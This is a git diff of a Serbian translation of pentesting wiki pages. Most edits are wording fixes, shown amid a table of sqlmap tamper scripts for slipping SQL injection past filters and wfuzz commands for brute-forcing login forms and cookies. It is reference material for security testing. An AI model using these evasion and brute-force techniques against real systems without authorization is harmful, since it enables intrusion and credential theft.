| space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| space2mysqldash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim novim redom ('\n') |
|
||||
| space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') |
|
||||
| space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i |
|
||||
| space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
|
||||
| symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i |
|
||||
| unionalltounion.py | Zamenjuje UNION ALL SELECT sa UNION SELECT |
|
||||
| unmagicquotes.py | Zamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo) |
|
||||
| uppercase.py | Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT' |
|
||||
|
@ -205,7 +205,7 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekona do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.
|
||||
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite kompletan pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekona do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -39,7 +39,7 @@ pip install wfuzz
|
|||
--hh/sh NUM #Hide/Show by number of chars in response
|
||||
--hc/sc NUM #Hide/Show by response code
|
||||
```
|
||||
## Опције излаза
|
||||
## Opcije izlaza
|
||||
```bash
|
||||
wfuzz -e printers #Prints the available output formats
|
||||
-f /tmp/output,csv #Saves the output in that location in csv format
|
||||
|
@ -57,7 +57,7 @@ Primeri:
|
|||
-w /path/to/file,base64 #Will use a list, and transform to base64
|
||||
-z list,each-element-here,hexlify #Inline list and to hex before sending values
|
||||
```
|
||||
## CheetSheet
|
||||
## CheatSheet
|
||||
|
||||
### Login Form bruteforce
|
||||
|
||||
|
@ -97,7 +97,7 @@ wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm '
|
|||
```
|
||||
### Cookie/Header bruteforce (vhost brute)
|
||||
|
||||
#### **Kolačići, kod filtriranja (prikaži), proxy**
|
||||
#### **Kolačić, kod filtriranja (prikaži), proxy**
|
||||
```bash
|
||||
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
|
||||
```
|
||||
|
|
Loading…
Reference in a new issue